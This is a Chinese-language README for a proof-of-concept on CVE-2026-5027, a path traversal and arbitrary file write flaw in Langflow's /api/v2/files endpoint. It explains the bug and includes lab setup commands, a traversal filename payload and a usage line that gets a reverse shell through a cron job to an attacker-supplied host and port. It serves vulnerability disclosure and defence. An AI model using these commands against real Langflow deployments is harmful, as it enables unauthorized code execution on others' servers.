本文是由 EQSTLab 发布的研究文章。
感谢 Yahia Hamza 报告并分析了此漏洞。
★ CVE-2026-5027 Langflow 路径遍历 / 任意文件写入 PoC ★

CVE-2026-5027:Langflow 任意文件写入漏洞
描述:Langflow <= 1.8.4 中存在路径遍历漏洞,攻击者可通过向 /api/v2/files 端点提供特制的 multipart filename,将任意文件写入预期上传目录之外的位置。在启用了自动登录或身份验证执行较弱的部署环境中,此问题可能被利用,通过将攻击者控制的内容写入敏感文件系统位置来实现远程代码执行。
使用 Docker 构建并运行易受攻击的环境:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# 概念验证(将测试文件写入 /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# 通过 cron 任务获取反向 shell
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
易受攻击的端点
POST /api/v2/files
该问题存在的原因是上传功能信任客户端提供的 multipart filename 值。易受攻击的代码路径没有生成安全的服务器端存储名称,也没有将解析后的路径限制在专用上传目录内,而是允许 ../ 等遍历序列影响最终目标路径。
因此,攻击者可以逃逸预期的存储根目录,强制应用程序将文件写入服务器文件系统上的任意位置。
一个典型的利用流程如下:
/api/v2/files 提交 multipart 上传请求。filename。这本质上是一个 CWE-22:对路径名的限制不恰当(路径遍历) 问题。
该安全缺陷是由于在上传处理过程中对用户控制的文件路径清理和验证不足造成的。应用程序接受原始客户端文件名,并将其传入存储工作流,而没有充分执行路径规范化和包含性检查。
从防御角度来看,危险模式在概念上类似于以下内容:
save_path = base_dir / file.filename
如果 file.filename 包含路径遍历组件,例如:
../../../../tmp/poc.txt
最终解析的路径可能指向 base_dir 之外,从而实现任意文件写入。
任意文件写入漏洞通常比标准的无限制上传问题更为严重,因为攻击者不仅控制文件内容,还控制目标路径。根据 Langflow 进程的运行时权限,这可能实现:
+-------------------------------------------+
| 攻击者 |
+-------------------------------------------+
|
| 获取访问令牌
| 或滥用自动登录
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| 特制 multipart filename
| (../ 目录遍历)
v
+-------------------------------------------+
| 任意文件写入(上传目录之外) |
+-------------------------------------------+
|
| 写入敏感位置
v
+-------------------------------------------+
| 潜在的远程代码执行 |
+-------------------------------------------+
本仓库并非旨在促进对 Langflow 实例的未经授权利用。本项目的目的是帮助安全研究人员、防御者和开发人员了解该漏洞,在受控环境中验证暴露情况,并应用有效的缓解措施。
https://www.tenable.com/security/research/tra-2026-26
https://www.cve.org/CVERecord?id=CVE-2026-5027